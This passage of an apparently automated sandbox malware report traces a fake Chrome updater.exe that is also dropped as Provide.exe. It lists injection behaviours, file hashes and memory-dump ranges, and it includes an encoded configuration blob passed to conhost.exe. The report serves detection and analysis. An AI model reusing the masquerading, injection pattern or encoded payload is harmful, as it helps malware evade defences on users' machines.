C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe vpebsndspnovgdxw 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPrOXm4kGtEn/ZgPyjiDYwe/38qW2J0HDdShbwzCCw+at77drxDzc5DnWlACugMEQCnPFtKgnPyHsghKmcRS44nr1/PSswMprSUb6le027e4EFlEpz+NFgnT8ZKRAQXoedYgyXvmuoXSUo1exyHUTmYyFVzeMWKhb+x+9aUNvx8ggZaugDxbyp61jDePgiQWMMF1vH9mBlPPW+QXhWe0PPyuIbNm5S8h+AqNFI0M/wgTOzfPNJPB4v8ljz2MAXxvCHED1UGj3eYDVV6nk5N0l86Lh0El8z0K1CSPANdrAPEyLwGAx/IuwGVIhabiDPcTkx18SmXvZql/04P1SCBDoURUPxu7MdDDY0/THQgQrn5ayygLzEj9TqT8mpHeLKIfLIctS2hfF0eNj2ivrK0m80TrUpu9VIIOhATtHWtaJqSqfNVERwPUjpuPs9F6JqnqVxkkBTHJMwO5OvQbVXUnJwvDmxsJgfoFd18qSLQeIw7hIwN3GyimMbDDC9tlvD8Ag5/Nkht2fhHO3mn3AAydlD02EtTO3I4Xy3mF/K+JJu11DeuAJKfZQWsyX2mczV/adtqIphIuDQBVKxXJAlNU3KWy7kGs/mntd+7WOFcQzR73fnkDPRiX+AgUCjh3Hqq1/ohLXjQWRRbGCNPwaJV40zyl/NFRf897hXBLuy7z1+S5ko7h8QKRH4KwC1t/ufnSyuNeHYRtwgGhjrI+WBtsI+Nph4qlp9QxkofgTy9Q8k8LwPJHOd4yQt8e/TlbZmjacN3W0hjFrYlQcBOuDMWzT1SF6TmpFQR60VDFY4lr5EUMu8/+zwsg7vy6ddM0q3U/u26c8wtU03pgMRnDedef3QcLVkw/pNwVgMrb84fHX5ST4YJlmE0sjy/MFv2oINNXQ7LFakVfhmVOZ4UoJABGTIjHx/vbCwvIJ0ebDpdLPSv7V9HbHcA4JzoFuDQTrMbK0rKVaqIFIP/2pqikpS6LOvn07sNx4ykYWfrmOIUowuXm8jYCCLTWHW360TaWX4QcySb8F3Ge1Acv7eYMEaBwix1nZ1fTpvmifyKEZRrndT4CM4v7uifakcvNeOZp91F4F7khaOsVz2evt+ESZj7Q4bSQ6xROGiphCfQdBeW3U/INUC3+hdEpTeE/Cdb6d9HQ+59ZeaI4joS45/ROQLpq+0t/2/lP9MsRG3VLPQn+7YVIVwJwBeNe93jgo3iLz6CDLheQ1Rj7VTE5xrbt9Iv5KU1nulezpQ0ZtpQChsKFKFYjzOoSPNZ+eIBZMFqQTRytAOLGBMFy+T00LYoN/yiGgz/ssoY48AQsoSsKn005aCV3cVA/6ioGtcwvV8JhSeqKvBwS9TLqwkFvISRe7xbB+qy3Fpx+IUZ8aO2gy0ectpnXWR/x/xMDpxhdirSPI7PZ9Unhy7o49tddDjlol8c3kx61jD03aoX74SHqFrj7rSzBXftDBGHn9SEZKYROwiiugGlemiJXG8TszQ6w9mVRQuPlZQYF51mlyQ6aK03BAKthI6kNpdhQebfEDHT0DirnoRK1w7M3PkCcJdSMuExLwNyLiIcYPl3pNKWjhJTa5coxQhWnmnPUQbg0EZDaW6MH+QELNMm3Hq9rE9tIBTtr3331BAT68ssJVdbLCjMkw2/gSwVQTUqO1zJFoyRiqPUqFrIuGsl6flaEQHwzn4sWWHtP0dCJcjaBOMYv/avYNrDKoA5R1A1bDQNEvuhBwAtCMLpXGuaFCLeLM3N5re0PaNzBiBOsVXba0VPEefcQKXgdR+Nv2X1y+ddMhud534XDYHsvruu4cev+yk+QDdkku29RvKZtbUWrVIQDxRGDn8aKLyDVadxQ/VL7HfLTxNDV1QFpXWA+lnoCF3zGkMtPBBu+98OW49lA8Lw3yqlyK+Rn9A==2⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Program Files\Google\Chrome\updater.exeFilesize
3.7MB
MD5dc1bd6de38baa4b5d6e28be075e717d2
SHA15949e9cca17fa486800b110d3be5487e226ec048
SHA256924706d43ee92588b157de636d9dcc4fe549780712f128dc24ffa9af5ad76aa3
SHA5123c11eb6b6420ec2f605381a0275b301601a1890dacb3be8abb39114e9da8c61e4ab10ad11c5815a02492f903b1dbdc556c3ba5afb4b752662208dacc0fac3c32
-
C:\Program Files\Google\Chrome\updater.exeFilesize
3.7MB
MD5dc1bd6de38baa4b5d6e28be075e717d2
SHA15949e9cca17fa486800b110d3be5487e226ec048
SHA256924706d43ee92588b157de636d9dcc4fe549780712f128dc24ffa9af5ad76aa3
SHA5123c11eb6b6420ec2f605381a0275b301601a1890dacb3be8abb39114e9da8c61e4ab10ad11c5815a02492f903b1dbdc556c3ba5afb4b752662208dacc0fac3c32
-
C:\Program Files\Google\Libs\g.logFilesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5e43d128cda5711730a2cb7b2376b4773
SHA1b7ff81354c4809177268da0babafb6c518f16f97
SHA2565a08e4f839ef95fe1f14ba72d96243454b638990d0eaa79dfd93613b8f5806c3
SHA512064052772f4ff4771f2300622458a6a88082b9de7f73b88239282042c49e0890256b77526f6da8f0a696fe4a515aa1dc9c81b8d63f25c6a197aa2a986d1b4169
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zk2d4unq.luh.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Public\Videos\Provide.exeFilesize
3.7MB
MD5dc1bd6de38baa4b5d6e28be075e717d2
SHA15949e9cca17fa486800b110d3be5487e226ec048
SHA256924706d43ee92588b157de636d9dcc4fe549780712f128dc24ffa9af5ad76aa3
SHA5123c11eb6b6420ec2f605381a0275b301601a1890dacb3be8abb39114e9da8c61e4ab10ad11c5815a02492f903b1dbdc556c3ba5afb4b752662208dacc0fac3c32
-
C:\Users\Public\Videos\Provide.exeFilesize
3.7MB
MD5dc1bd6de38baa4b5d6e28be075e717d2
SHA15949e9cca17fa486800b110d3be5487e226ec048
SHA256924706d43ee92588b157de636d9dcc4fe549780712f128dc24ffa9af5ad76aa3
SHA5123c11eb6b6420ec2f605381a0275b301601a1890dacb3be8abb39114e9da8c61e4ab10ad11c5815a02492f903b1dbdc556c3ba5afb4b752662208dacc0fac3c32
-
C:\Users\Public\Videos\Provide.exeFilesize
3.7MB
MD5dc1bd6de38baa4b5d6e28be075e717d2
SHA15949e9cca17fa486800b110d3be5487e226ec048
SHA256924706d43ee92588b157de636d9dcc4fe549780712f128dc24ffa9af5ad76aa3
SHA5123c11eb6b6420ec2f605381a0275b301601a1890dacb3be8abb39114e9da8c61e4ab10ad11c5815a02492f903b1dbdc556c3ba5afb4b752662208dacc0fac3c32
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logFilesize
4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
-
memory/1064-189-0x00000199F1790000-0x00000199F17A0000-memory.dmpFilesize
64KB
-
memory/1064-188-0x00000199F1790000-0x00000199F17A0000-memory.dmpFilesize
64KB
-
memory/1064-190-0x00000199F1790000-0x00000199F17A0000-memory.dmpFilesize
64KB
-
memory/1516-175-0x00007FF74A2A0000-0x00007FF74A659000-memory.dmpFilesize
3.7MB
-
memory/1516-143-0x00007FF74A2A0000-0x00007FF74A659000-memory.dmpFilesize
3.7MB
-
memory/3200-263-0x00007FF658A20000-0x00007FF658A36000-memory.dmpFilesize
88KB
-
memory/3200-268-0x00007FF658A20000-0x00007FF658A36000-memory.dmpFilesize
88KB
-
memory/3692-291-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-277-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-305-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-303-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-301-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-299-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-293-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-270-0x000001C29E170000-0x000001C29E190000-memory.dmpFilesize
128KB
-
memory/3692-289-0x000001C29E190000-0x000001C29E1B0000-memory.dmpFilesize
128KB
-
memory/3692-288-0x000001C29E170000-0x000001C29E190000-memory.dmpFilesize
128KB
-
memory/3692-287-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-285-0x000001C29E190000-0x000001C29E1B0000-memory.dmpFilesize
128KB
-
memory/3692-284-0x000001C29E170000-0x000001C29E190000-memory.dmpFilesize
128KB
-
memory/3692-283-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-281-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-309-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-279-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-307-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-311-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-275-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-313-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-273-0x000001C29E170000-0x000001C29E190000-memory.dmpFilesize
128KB
-
memory/3692-315-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-317-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-272-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-260-0x000001C29DC30000-0x000001C29DC50000-memory.dmpFilesize
128KB
-
memory/3692-261-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-262-0x000001C29DC70000-0x000001C29DC90000-memory.dmpFilesize
128KB
-
memory/3692-319-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-264-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-265-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-267-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-321-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/3692-269-0x00007FF6E1010000-0x00007FF6E1804000-memory.dmpFilesize
8.0MB
-
memory/4216-250-0x00007FF470000000-0x00007FF470010000-memory.dmpFilesize
64KB
-
memory/4216-252-0x000001E2D9089000-0x000001E2D908F000-memory.dmpFilesize
24KB
-
memory/4216-249-0x000001E2D9080000-0x000001E2D9090000-memory.dmpFilesize
64KB
-
memory/4216-228-0x000001E2D9080000-0x000001E2D9090000-memory.dmpFilesize
64KB
-
memory/4216-230-0x000001E2D9080000-0x000001E2D9090000-memory.dmpFilesize
64KB
-
memory/4464-150-0x000001B873530000-0x000001B873552000-memory.dmpFilesize
136KB
-
memory/4464-154-0x000001B8721F0000-0x000001B872200000-memory.dmpFilesize
64KB
-
memory/4464-155-0x000001B8721F0000-0x000001B872200000-memory.dmpFilesize
64KB
-
memory/4464-156-0x000001B8721F0000-0x000001B872200000-memory.dmpFilesize
64KB
-
memory/4608-193-0x00007FF62E730000-0x00007FF62EAE9000-memory.dmpFilesize
3.7MB
-
memory/4608-259-0x00007FF62E730000-0x00007FF62EAE9000-memory.dmpFilesize
3.7MB
-
memory/4608-219-0x00007FF62E730000-0x00007FF62EAE9000-memory.dmpFilesize
3.7MB
-
memory/4668-223-0x0000020FC7810000-0x0000020FC7816000-memory.dmpFilesize
24KB
-
memory/4668-218-0x0000020FC77F0000-0x0000020FC780C000-memory.dmpFilesize
112KB
-
memory/4668-216-0x00007FF4D2FF0000-0x00007FF4D3000000-memory.dmpFilesize
64KB
-
memory/4668-215-0x0000020FC75A0000-0x0000020FC75BC000-memory.dmpFilesize
112KB
-
memory/4668-205-0x0000020FC5E10000-0x0000020FC5E20000-memory.dmpFilesize
64KB
-
memory/4668-204-0x0000020FC5E10000-0x0000020FC5E20000-memory.dmpFilesize
64KB
-
memory/4668-203-0x0000020FC5E10000-0x0000020FC5E20000-memory.dmpFilesize
64KB
-
memory/4668-217-0x0000020FC7680000-0x0000020FC768A000-memory.dmpFilesize
40KB
-
memory/4668-224-0x0000020FC7820000-0x0000020FC782A000-memory.dmpFilesize
40KB
-
memory/4668-222-0x0000020FC77E0000-0x0000020FC77E8000-memory.dmpFilesize
32KB
-
memory/4668-221-0x0000020FC7830000-0x0000020FC784A000-memory.dmpFilesize
104KB
-
memory/4668-220-0x0000020FC77D0000-0x0000020FC77DA000-memory.dmpFilesize
40KB
-
memory/4948-170-0x0000028F3D2E0000-0x0000028F3D2F0000-memory.dmpFilesize
64KB
-
memory/4948-171-0x0000028F3D2E0000-0x0000028F3D2F0000-memory.dmpFilesize
64KB
-
memory/4948-172-0x0000028F3D2E0000-0x0000028F3D2F0000-memory.dmpFilesize
64KB